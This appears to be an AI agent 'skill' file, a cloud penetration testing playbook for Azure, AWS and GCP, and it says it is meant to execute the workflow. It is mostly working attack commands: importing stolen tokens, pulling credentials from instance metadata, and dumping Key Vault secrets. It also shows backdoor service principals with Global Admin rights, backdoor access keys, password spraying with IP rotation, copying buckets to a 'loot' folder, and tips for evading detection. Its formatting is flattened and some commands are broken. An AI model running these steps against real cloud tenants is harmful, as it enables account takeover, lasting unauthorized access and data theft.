Cloud Penetration Testing Purpose Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements. Prerequisites Required Tools

Azure tools

Install-Module -Name Az -AllowClobber -Force Install-Module -Name MSOnline -Force Install-Module -Name AzureAD -Force

AWS CLI

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" unzip awscliv2.zip && sudo ./aws/install

GCP CLI

curl https://sdk.cloud.google.com | bash gcloud init

Additional tools

pip install scoutsuite pacu Required Knowledge Cloud architecture fundamentals Identity and Access Management (IAM) API authentication mechanisms DevOps and automation concepts Required Access Written authorization for testing Test credentials or access tokens Defined scope and rules of engagement Outputs and Deliverables Cloud Security Assessment Report - Comprehensive findings and risk ratings Resource Inventory - Enumerated services, storage, and compute instances Credential Findings - Exposed secrets, keys, and misconfigurations Remediation Recommendations - Hardening guidance per platform Core Workflow Phase 1: Reconnaissance Gather initial information about target cloud presence:

Azure: Get federation info

curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"

Azure: Get Tenant ID

curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

Enumerate cloud resources by company name

python3 cloud_enum.py -k targetcompany

Check IP against cloud providers

cat ips.txt | python3 ip2provider.py Phase 2: Azure Authentication Authenticate to Azure environments:

Az PowerShell Module

Import-Module Az Connect-AzAccount

With credentials (may bypass MFA)

$credential

Get-Credential Connect-AzAccount - Credential $credential

Import stolen context

Import-AzContext

Profile 'C:\Temp\StolenToken.json'

Export context for persistence

Save-AzContext

Path C:\Temp\AzureAccessToken . json

MSOnline Module

Import-Module MSOnline Connect-MsolService Phase 3: Azure Enumeration Discover Azure resources and permissions:

List contexts and subscriptions

Get-AzContext

ListAvailable Get-AzSubscription

Current user role assignments

Get-AzRoleAssignment

List resources

Get-AzResource Get-AzResourceGroup

Storage accounts

Get-AzStorageAccount

Web applications

Get-AzWebApp

SQL Servers and databases

Get-AzSQLServer Get-AzSqlDatabase - ServerName $Server - ResourceGroupName $RG

Virtual machines

Get-AzVM $vm = Get-AzVM - Name "VMName" $vm . OSProfile

List all users

Get-MSolUser

All

List all groups

Get-MSolGroup

All

Global Admins

Get-MsolRole

RoleName "Company Administrator" Get-MSolGroupMember - GroupObjectId $GUID

Service Principals

Get-MsolServicePrincipal Phase 4: Azure Exploitation Exploit Azure misconfigurations:

Search user attributes for passwords

$users

Get-MsolUser

All foreach ( $user in $users ) { $props = @ ( ) $user | Get-Member | foreach-object { $props += $_ . Name } foreach ( $prop in $props ) { if ( $user . $prop -like "password" ) { Write-Output ( "[*]" + $user . UserPrincipalName + "[" + $prop + "]" + " : " + $user . $prop ) } } }

Execute commands on VMs

Invoke-AzVMRunCommand

ResourceGroupName $RG - VMName $VM - CommandId RunPowerShellScript - ScriptPath . / script . ps1

Extract VM UserData

$vms

Get-AzVM $vms . UserData

Dump Key Vault secrets

az keyvault list

query '[].name' -- output tsv az keyvault set-policy -- name -- upn -- secret-permissions get list az keyvault secret list -- vault-name -- query '[].id' -- output tsv az keyvault secret show -- id Phase 5: Azure Persistence Establish persistence in Azure:

Create backdoor service principal

$spn

New-AzAdServicePrincipal

DisplayName "WebService" - Role Owner $BSTR = [System.Runtime.InteropServices.Marshal] ::SecureStringToBSTR ( $spn . Secret ) $UnsecureSecret = [System.Runtime.InteropServices.Marshal] ::PtrToStringAuto ( $BSTR )

Add service principal to Global Admin

$sp

Get-MsolServicePrincipal

AppPrincipalId $role = Get-MsolRole - RoleName "Company Administrator" Add-MsolRoleMember - RoleObjectId $role . ObjectId - RoleMemberType ServicePrincipal - RoleMemberObjectId $sp . ObjectId

Login as service principal

$cred

Get-Credential

AppID as username, secret as password

Connect-AzAccount

Credential $cred - Tenant "tenant-id" - ServicePrincipal

Create new admin user via CLI

az ad user create

display-name

password

user-principal-name Phase 6: AWS Authentication Authenticate to AWS environments:

Configure AWS CLI

aws configure

Enter: Access Key ID, Secret Access Key, Region, Output format

Use specific profile

aws configure --profile target

Test credentials

aws sts get-caller-identity Phase 7: AWS Enumeration Discover AWS resources:

Account information

aws sts get-caller-identity aws iam list-users aws iam list-roles

S3 Buckets

aws s3 ls aws s3 ls s3://bucket-name/ aws s3 sync s3://bucket-name ./local-dir

EC2 Instances

aws ec2 describe-instances

RDS Databases

aws rds describe-db-instances --region us-east-1

Lambda Functions

aws lambda list-functions --region us-east-1 aws lambda get-function --function-name < name

EKS Clusters

aws eks list-clusters --region us-east-1

Networking

aws ec2 describe-subnets aws ec2 describe-security-groups --group-ids < sg-id

aws directconnect describe-connections Phase 8: AWS Exploitation Exploit AWS misconfigurations:

Check for public RDS snapshots

aws rds describe-db-snapshots --snapshot-type manual --query = DBSnapshots [ * ] .DBSnapshotIdentifier aws rds describe-db-snapshot-attributes --db-snapshot-identifier < id

AttributeValues = "all" means publicly accessible

Extract Lambda environment variables (may contain secrets)

aws lambda get-function --function-name < name

| jq '.Configuration.Environment'

Access metadata service (from compromised EC2)

curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2 access

TOKEN

$( curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" ) curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN " Phase 9: AWS Persistence Establish persistence in AWS:

List existing access keys

aws iam list-access-keys --user-name < username

Create backdoor access key

aws iam create-access-key --user-name < username

Get all EC2 public IPs

for region in $( cat regions.txt ) ; do aws ec2 describe-instances --query = Reservations [ ] .Instances [ ] .PublicIpAddress --region $region | jq -r '.[]' done Phase 10: GCP Enumeration Discover GCP resources:

Authentication

gcloud auth login gcloud auth activate-service-account --key-file creds.json gcloud auth list

Account information

gcloud config list gcloud organizations list gcloud projects list

IAM Policies

gcloud organizations get-iam-policy < org-id

gcloud projects get-iam-policy < project-id

Enabled services

gcloud services list

Source code repos

gcloud source repos list gcloud source repos clone < repo

Compute instances

gcloud compute instances list gcloud beta compute ssh --zone "region" "instance" --project "project"

Storage buckets

gsutil ls gsutil ls -r gs://bucket-name gsutil cp gs://bucket/file ./local

SQL instances

gcloud sql instances list gcloud sql databases list --instance < id

Kubernetes

gcloud container clusters list gcloud container clusters get-credentials < cluster

--region < region

kubectl cluster-info Phase 11: GCP Exploitation Exploit GCP misconfigurations:

Get metadata service data

curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

Check access scopes

curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

Decrypt data with keyring

gcloud kms decrypt --ciphertext-file

encrypted.enc --plaintext-file

out.txt --key < key

--keyring < keyring

--location global

Serverless function analysis

gcloud functions list gcloud functions describe < name

gcloud functions logs read < name

--limit 100

Find stored credentials

sudo find /home -name "credentials.db" sudo cp -r /home/user/.config/gcloud ~/.config gcloud auth list Quick Reference Azure Key Commands Action Command Login Connect-AzAccount List subscriptions Get-AzSubscription List users Get-MsolUser -All List groups Get-MsolGroup -All Current roles Get-AzRoleAssignment List VMs Get-AzVM List storage Get-AzStorageAccount Key Vault secrets az keyvault secret list --vault-name AWS Key Commands Action Command Configure aws configure Caller identity aws sts get-caller-identity List users aws iam list-users List S3 buckets aws s3 ls List EC2 aws ec2 describe-instances List Lambda aws lambda list-functions Metadata curl http://169.254.169.254/latest/meta-data/ GCP Key Commands Action Command Login gcloud auth login List projects gcloud projects list List instances gcloud compute instances list List buckets gsutil ls List clusters gcloud container clusters list IAM policy gcloud projects get-iam-policy Metadata curl -H "Metadata-Flavor: Google" http://metadata.google.internal/... Metadata Service URLs Provider URL AWS http://169.254.169.254/latest/meta-data/ Azure http://169.254.169.254/metadata/instance?api-version=2018-02-01 GCP http://metadata.google.internal/computeMetadata/v1/ Useful Tools Tool Purpose ScoutSuite Multi-cloud security auditing Pacu AWS exploitation framework AzureHound Azure AD attack path mapping ROADTools Azure AD enumeration WeirdAAL AWS service enumeration MicroBurst Azure security assessment PowerZure Azure post-exploitation Constraints and Limitations Legal Requirements Only test with explicit written authorization Respect scope boundaries between cloud accounts Do not access production customer data Document all testing activities Technical Limitations MFA may prevent credential-based attacks Conditional Access policies may restrict access CloudTrail/Activity Logs record all API calls Some resources require specific regional access Detection Considerations Cloud providers log all API activity Unusual access patterns trigger alerts Use slow, deliberate enumeration Consider GuardDuty, Security Center, Cloud Armor Examples Example 1: Azure Password Spray Scenario: Test Azure AD password policy

Using MSOLSpray with FireProx for IP rotation

First create FireProx endpoint

python fire . py -- access_key -- secret_access_key -- region us-east-1 -- url https: / / login . microsoft . com -- command create

Spray passwords

Import-Module . \MSOLSpray . ps1 Invoke-MSOLSpray - UserList . \users . txt - Password "Spring2024!" - URL https: / / . execute-api . us-east-1 . amazonaws . com/fireprox Example 2: AWS S3 Bucket Enumeration Scenario: Find and access misconfigured S3 buckets

List all buckets

aws s3 ls | awk '{print $3}'

buckets.txt

Check each bucket for contents

while read bucket ; do echo "Checking: $bucket " aws s3 ls s3:// $bucket 2

/dev/null done < buckets.txt

Download interesting bucket

aws s3 sync s3://misconfigured-bucket ./loot/ Example 3: GCP Service Account Compromise Scenario: Pivot using compromised service account

Authenticate with service account key

gcloud auth activate-service-account --key-file compromised-sa.json

List accessible projects

gcloud projects list

Enumerate compute instances

gcloud compute instances list --project target-project

Check for SSH keys in metadata

gcloud compute project-info describe --project target-project | grep ssh

SSH to instance

gcloud beta compute ssh instance-name --zone us-central1-a --project target-project Troubleshooting Issue Solutions Authentication failures Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods Permission denied List current roles; try different resources; check resource policies; verify region Metadata service blocked Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 Rate limiting Add delays; spread across regions; use multiple credentials; focus on high-value targets References Advanced Cloud Scripts - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation When to Use This skill is applicable to execute the workflow or actions described in the overview.